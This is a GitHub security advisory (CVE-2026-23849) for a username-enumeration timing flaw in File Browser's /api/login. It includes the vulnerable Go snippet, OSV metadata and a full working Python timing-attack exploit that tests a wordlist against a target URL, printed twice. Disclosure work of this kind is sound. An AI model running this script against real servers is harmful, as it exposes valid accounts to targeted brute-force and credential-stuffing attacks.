GHSA-43MM-M3H2-3PRC
Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02Summary
The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.
Details
The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.
This difference in execution path creates a measurable timing discrepancy:
Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).
In auth/json.go:
// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
return nil, os.ErrPermission
}
PoC
The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.
import requests
import time
import random
import string
import statistics
import argparse
CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"
def generate_random_user(length=10):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def measure_response_time(url, username):
start = time.perf_counter()
try:
requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
except Exception as e:
print(f"[!] Connection error: {e}")
return 0
return time.perf_counter() - start
def calibrate(url):
print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
times = []
print(" Progress: ", end="", flush=True)
for _ in range(CALIBRATION_SAMPLES):
random_user = generate_random_user()
elapsed = measure_response_time(url, random_user)
times.append(elapsed)
print(".", end="", flush=True)
print(" OK")
mean = statistics.mean(times)
try:
stdev = statistics.stdev(times)
except:
stdev = 0.0
threshold = mean + (5 * stdev) + 0.005
print(f" - Mean time (invalid users): {mean:.4f}s")
print(f" - Standard deviation: {stdev:.6f}s")
print(f" - Threshold set: {threshold:.4f}s")
return threshold
def load_wordlist(wordlist_path):
try:
with open(wordlist_path, 'r', encoding='utf-8') as f:
users = [line.strip() for line in f if line.strip()]
return users
except FileNotFoundError:
print(f"[!] Wordlist not found: {wordlist_path}")
exit(1)
except Exception as e:
print(f"[!] Error reading wordlist: {e}")
exit(1)
def timing_attack(url, threshold, users):
print(f"\n[*] Testing {len(users)} users from wordlist...")
print("-" * 50)
print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
print("-" * 50)
found = []
for user in users:
elapsed = measure_response_time(url, user)
if elapsed > threshold:
status = ">> VALID <<"
found.append(user)
else:
status = "invalid"
print(f"{user:<15} | {elapsed:.4f}s | {status}")
return found
def main():
parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
args = parser.parse_args()
target_url = args.url.rstrip('/') + ENDPOINT
print("=== FILEBROWSER TIMING ATTACK ===\n")
print(f"[*] Target: {target_url}")
print(f"[*] Wordlist: {args.wordlist}")
try:
threshold = calibrate(target_url)
users = load_wordlist(args.wordlist)
print(f"\n[*] Loaded {len(users)} users from wordlist")
print("[*] Starting attack...")
valid_users = timing_attack(target_url, threshold, users)
print("\n" + "="*50)
print(f"SUMMARY: {len(valid_users)} valid users found")
if valid_users:
for u in valid_users:
print(f" -> {u}")
print("="*50)
except KeyboardInterrupt:
print("\n[!] Attack cancelled")
if __name__ == "__main__":
main()
For example, in this case, I have guchihacker as the only valid user in the application.
I am going to use the exploit to list valid users.
As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.
Impact
An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).
I remain at your disposal for any questions you may have on this matter. Thank you very much.
Sincerely, Felix Sanchez (GUCHI)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.55.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23849"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:02:17Z",
"nvd_published_at": "2026-01-19T21:15:51Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If \u0027err != nil\u0027 (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If \u0027err == nil\u0027 (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n return \u0027\u0027.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n start = time.perf_counter()\n try:\n requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n except Exception as e:\n print(f\"[!] Connection error: {e}\")\n return 0\n return time.perf_counter() - start\n\ndef calibrate(url):\n print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n times = []\n \n print(\" Progress: \", end=\"\", flush=True)\n for _ in range(CALIBRATION_SAMPLES):\n random_user = generate_random_user()\n elapsed = measure_response_time(url, random_user)\n times.append(elapsed)\n print(\".\", end=\"\", flush=True)\n print(\" OK\")\n \n mean = statistics.mean(times)\n try:\n stdev = statistics.stdev(times)\n except:\n stdev = 0.0\n \n threshold = mean + (5 * stdev) + 0.005\n \n print(f\" - Mean time (invalid users): {mean:.4f}s\")\n print(f\" - Standard deviation: {stdev:.6f}s\")\n print(f\" - Threshold set: {threshold:.4f}s\")\n \n return threshold\n\ndef load_wordlist(wordlist_path):\n try:\n with open(wordlist_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n users = [line.strip() for line in f if line.strip()]\n return users\n except FileNotFoundError:\n print(f\"[!] Wordlist not found: {wordlist_path}\")\n exit(1)\n except Exception as e:\n print(f\"[!] Error reading wordlist: {e}\")\n exit(1)\n\ndef timing_attack(url, threshold, users):\n print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n print(\"-\" * 50)\n print(f\"{\u0027Username\u0027:\u003c15} | {\u0027Time\u0027:\u003c10} | {\u0027Status\u0027}\")\n print(\"-\" * 50)\n \n found = []\n \n for user in users:\n elapsed = measure_response_time(url, user)\n \n if elapsed \u003e threshold:\n status = \"\u003e\u003e VALID \u003c\u003c\"\n found.append(user)\n else:\n status = \"invalid\"\n \n print(f\"{user:\u003c15} | {elapsed:.4f}s | {status}\")\n \n return found\n\ndef main():\n parser = argparse.ArgumentParser(description=\u0027FileBrowser timing attack exploit\u0027)\n parser.add_argument(\u0027-u\u0027, \u0027--url\u0027, required=True, help=\u0027Target URL (e.g., http://localhost:8080)\u0027)\n parser.add_argument(\u0027-w\u0027, \u0027--wordlist\u0027, required=True, help=\u0027Path to wordlist file\u0027)\n args = parser.parse_args()\n \n target_url = args.url.rstrip(\u0027/\u0027) + ENDPOINT\n \n print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n print(f\"[*] Target: {target_url}\")\n print(f\"[*] Wordlist: {args.wordlist}\")\n \n try:\n threshold = calibrate(target_url)\n users = load_wordlist(args.wordlist)\n print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n print(\"[*] Starting attack...\")\n \n valid_users = timing_attack(target_url, threshold, users)\n \n print(\"\\n\" + \"=\"*50)\n print(f\"SUMMARY: {len(valid_users)} valid users found\")\n if valid_users:\n for u in valid_users:\n print(f\" -\u003e {u}\")\n print(\"=\"*50)\n \n except KeyboardInterrupt:\n print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\u003cimg width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" /\u003e\n\nI am going to use the exploit to list valid users.\n\u003cimg width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" /\u003e\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., \u0027admin\u0027, \u0027root\u0027, employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
"id": "GHSA-43mm-m3h2-3prc",
"modified": "2026-01-21T01:02:17Z",
"published": "2026-01-21T01:02:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.